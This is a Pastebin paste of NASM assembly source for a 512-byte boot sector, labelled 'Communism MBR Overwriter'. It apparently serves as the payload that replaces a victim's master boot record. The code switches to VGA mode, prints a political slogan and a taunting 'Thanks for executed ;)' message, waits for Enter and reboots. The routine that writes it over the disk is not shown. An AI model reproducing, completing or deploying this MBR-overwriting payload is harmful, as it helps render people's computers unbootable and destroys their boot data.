Advertisement
FlyFar

message.asm

Jun 20th, 2023
819
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 0.93 KB | Cybersecurity | 0 0
  1. [BITS 16]
  2. [ORG 0x7c00]
  3.  
  4. corVermelha db 0x04
  5.  
  6. call Segmentos
  7. call Modo_Video_VGA
  8. mov si, texto
  9. call Mostrar_Texto
  10.  
  11. mov si, texto2
  12. call Mostrar_Texto
  13. call Pressionar_Enter
  14. jmp $
  15.  
  16. Segmentos:
  17.     mov ax, es
  18.     mov ds, ax
  19.     mov ss, ax
  20. ret
  21.  
  22. Modo_Video_VGA:
  23.     mov ah, 0x00
  24.     mov al, 0x13
  25.     int 0x10
  26.     mov ax, 0x13
  27. ret
  28.  
  29. Mostrar_Texto:
  30.     mov ah, 0x0e
  31.     mov bl, [corVermelha]
  32.     mov al, [si]
  33.     loop_texto:
  34.         int 0x10
  35.         inc si
  36.         mov al, [si]
  37.         cmp al, 0
  38.         jne loop_texto
  39. ret
  40.  
  41. Pressionar_Enter:
  42.     mov ah, 0x00
  43.     int 0x16
  44.     cmp al, 0x0d
  45.     je Reinciar
  46.     jmp Pressionar_Enter
  47.  
  48. Reinciar:
  49.     db 0x0ea
  50.     dw 0x0000
  51.     dw 0xffff
  52.  
  53. texto db 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, "Communism MBR Overwriter", 13,10, 0
  54. texto2 db 10,10, "Workers of the world, unite!", 13, 10, "Thanks for executed ;)", 0
  55.  
  56. times 510 - ($-$$) db 0
  57. dw 0xaa55
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement